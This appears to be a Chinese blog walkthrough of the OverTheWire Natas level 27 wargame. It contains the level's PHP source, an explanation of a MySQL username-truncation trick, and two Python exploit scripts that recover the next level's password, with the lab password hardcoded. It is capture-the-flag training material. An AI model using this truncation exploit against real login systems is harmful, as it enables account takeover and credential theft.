0
点赞
收藏
分享

微信扫一扫

OverTheWire攻关过程-Natas模块27


我们打开关卡lv27,查看信息


OverTheWire攻关过程-Natas模块27_css


发现是一个登陆框


尝试


OverTheWire攻关过程-Natas模块27_mysql_02


OverTheWire攻关过程-Natas模块27_css_03


好像是一个验证密码正不正确的登陆框


我们查看源码


<?php

// morla / 10111
// database gets cleared every 5 min


/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/


function checkCredentials($link,$usr,$pass){

    $user=mysqli_real_escape_string($link, $usr);
    $password=mysqli_real_escape_string($link, $pass);

    $query = "SELECT username from users where username='$user' and password='$password' ";
    $res = mysqli_query($link, $query);
    if(mysqli_num_rows($res) > 0){
        return True;
    }
    return False;
}


function validUser($link,$usr){

    $user=mysqli_real_escape_string($link, $usr);

    $query = "SELECT * from users where username='$user'";
    $res = mysqli_query($link, $query);
    if($res) {
        if(mysqli_num_rows($res) > 0) {
            return True;
        }
    }
    return False;
}


function dumpData($link,$usr){

    $user=mysqli_real_escape_string($link, trim($usr));

    $query = "SELECT * from users where username='$user'";
    $res = mysqli_query($link, $query);
    if($res) {
        if(mysqli_num_rows($res) > 0) {
            while ($row = mysqli_fetch_assoc($res)) {
                // thanks to Gobo for reporting this bug!
                //return print_r($row);
                return print_r($row,true);
            }
        }
    }
    return False;
}


function createUser($link, $usr, $pass){

    if($usr != trim($usr)) {
        echo "Go away hacker";
        return False;
    }
    $user=mysqli_real_escape_string($link, substr($usr, 0, 64));
    $password=mysqli_real_escape_string($link, substr($pass, 0, 64));

    $query = "INSERT INTO users (username,password) values ('$user','$password')";
    $res = mysqli_query($link, $query);
    if(mysqli_affected_rows($link) > 0){
        return True;
    }
    return False;
}


if(array_key_exists("username", $_REQUEST) and array_key_exists("password", $_REQUEST)) {
    $link = mysqli_connect('localhost', 'natas27', '<censored>');
    mysqli_select_db($link, 'natas27');


    if(validUser($link,$_REQUEST["username"])) {
        //user exists, check creds
        if(checkCredentials($link,$_REQUEST["username"],$_REQUEST["password"])){
            echo "Welcome " . htmlentities($_REQUEST["username"]) . "!<br>";
            echo "Here is your data:<br>";
            $data=dumpData($link,$_REQUEST["username"]);
            print htmlentities($data);
        }
        else{
            echo "Wrong password for user: " . htmlentities($_REQUEST["username"]) . "<br>";
        }
    }
    else {
        //user doesn't exist
        if(createUser($link,$_REQUEST["username"],$_REQUEST["password"])){
            echo "User " . htmlentities($_REQUEST["username"]) . " was created!";
        }
    }

    mysqli_close($link);
} else {
?>


参考大神思路


<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas27", "pass": "<censored>" };</script></head>
<body>
<h1>natas27</h1>
<div id="content">
<?

// morla / 10111
// database gets cleared every 5 min 


/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL        //这是重点,用户名和密码均不超过64个字节
);
*/


function checkCredentials($link,$usr,$pass){
 
    //转义用户名和密码中的特殊字符,防止sql注入
    $user=mysql_real_escape_string($usr);
    $password=mysql_real_escape_string($pass);
    
    $query = "SELECT username from users where username='$user' and password='$password' ";
    $res = mysql_query($query, $link);
    if(mysql_num_rows($res) > 0){    //若查询出来的数组大于0,则验证用户名/密码成功
        return True;
    }
    return False;
}


function validUser($link,$usr){
    
    $user=mysql_real_escape_string($usr);
    
    $query = "SELECT * from users where username='$user'";
    $res = mysql_query($query, $link);
    if($res) {
        if(mysql_num_rows($res) > 0) {
            return True;
        }
    }
    return False;
}


function dumpData($link,$usr){
    
    $user=mysql_real_escape_string($usr);
    
    $query = "SELECT * from users where username='$user'";
    $res = mysql_query($query, $link);
    if($res) {
        if(mysql_num_rows($res) > 0) {
            while ($row = mysql_fetch_assoc($res)) { //mysqli_fetch_assoc() 函数从结果集中取得一行作为关联数组。
                // thanks to Gobo for reporting this bug!  
                //return print_r($row);
                return print_r($row,true);
            }
        }
    }
    return False;
}


function createUser($link, $usr, $pass){

    $user=mysql_real_escape_string($usr);
    $password=mysql_real_escape_string($pass);
    
    $query = "INSERT INTO users (username,password) values ('$user','$password')";
    $res = mysql_query($query, $link);
    if(mysql_affected_rows() > 0){ //mysqli_affected_rows() 函数返回前一次 MySQL 操作所影响的记录行数
        return True;
    }
    return False;
}

//逻辑:查询username是否存在
if(array_key_exists("username", $_REQUEST) and array_key_exists("password", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas27', '<censored>');
    mysql_select_db('natas27', $link); //mysql_select_db() 函数设置活动的 MySQL 数据库。
   

    if(validUser($link,$_REQUEST["username"])) {
        //user exists, check creds
        if(checkCredentials($link,$_REQUEST["username"],$_REQUEST["password"])){
            echo "Welcome " . htmlentities($_REQUEST["username"]) . "!<br>";    //htmlentities() 函数把字符转换为 HTML 实体。
            echo "Here is your data:<br>";
            $data=dumpData($link,$_REQUEST["username"]);
            print htmlentities($data);
        }
        else{
            echo "Wrong password for user: " . htmlentities($_REQUEST["username"]) . "<br>";
        }        
    } 
    else {
        //user doesn't exist
        if(createUser($link,$_REQUEST["username"],$_REQUEST["password"])){ 
            echo "User " . htmlentities($_REQUEST["username"]) . " was created!";
        }
    }

    mysql_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password" type="password"><br>
<input type="submit" value="login" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

natas28-sourcecode.html


这里还要参考两个mysql里面的知识点 :

一是字符串存储时若发生“溢出”,mysql会自动truncate到最大宽度;
二是空格在varchar里面会被自动删除。

所以,正确的插入为“natas28+超过64字节的连续空格+xxx”(注意,后面的xxx是必须的,因为在mysql中'natas28'='natas28+空格'),密码随意,可以为空。

比较username时mysql并不会对提交的username进行truncate,所以判断用户名不存在,开始新建用户名和密码。一旦开始存储,就会发生溢出/截取,导致出现两个username同为‘natas28’的行。接着返回登录界面,输入natas28+密码。找寻操作会返回刚刚插入的数组(>0),所以查询成功,回显用户名和密码,这时回显的就是第一个nata28那行,即我们要获得的flag。


OverTheWire攻关过程-Natas模块27_css_04


OverTheWire攻关过程-Natas模块27_html_05


连续输入两次natas27会得到密码

那么


OverTheWire攻关过程-Natas模块27_mysql_06


我们连续输入natas28


明显,那个连续空格的漏洞已经修复,我们使用5分钟重置的方法进行


使用的python脚本如下


import requests
from requests.auth import HTTPBasicAuth

HOST = 'http://natas27.natas.labs.overthewire.org/'
auth = HTTPBasicAuth('natas27', 'PSO8xysPi00WKIiZZ6s6PtRmFy9cbxj3')

cookies = dict()
data = dict(username='natas28' + ' '*666 + 'Z', password='')

r = requests.post(HOST, cookies=cookies, auth=auth, data=data)

if 'Wrong password' not in r.content:
    print (r.content)

data = dict(username='natas28', password='')
r = requests.post(HOST, cookies=cookies, auth=auth, data=data)

if 'Wrong password' not in r.content:
    print (r.content)



OverTheWire攻关过程-Natas模块27_html_07


等待结果


使用新的python脚本


import re
import requests

# the password for this challenge (natas27)
natas27_password = "PSO8xysPi00WKIiZZ6s6PtRmFy9cbxj3"

# the username we want to get the password for
username = "natas28"

# the base URL for the server
url = "http://natas27.natas.labs.overthewire.org"

# create a session object to persist cookies across requests
session = requests.Session()
session.auth = ("natas27", natas27_password)

# the crafted username which is exactly 65 characters long
crafted_username = username + " " * (64 - len(username)) + "x"

# make the initial request to create the user with the crafted username
response = session.post(
   f"{url}/index.php",
   data={"username": crafted_username, "password": ""},
   headers={"Content-Type": "application/x-www-form-urlencoded"},
)

# the crafted username is now a valid new user in the database
# login as that user to exploit the inconsistent handling in `dumpData` and get the password
crafted_username = username + " " * (64 - len(username))

response = session.post(
   f"{url}/index.php",
   data={"username": crafted_username, "password": ""},
   headers={"Content-Type": "application/x-www-form-urlencoded"},
)

# extract the password from the response using regex
password_regex = r"\[password\] (=>|=>) (?P<password>[a-zA-Z0-9]{32})"
password_match = re.search(password_regex, response.text)
password = password_match.group("password")

print(password)


vscode跑


结果


OverTheWire攻关过程-Natas模块27_css_08


验证密码


OverTheWire攻关过程-Natas模块27_mysql_09

举报

相关推荐

0 条评论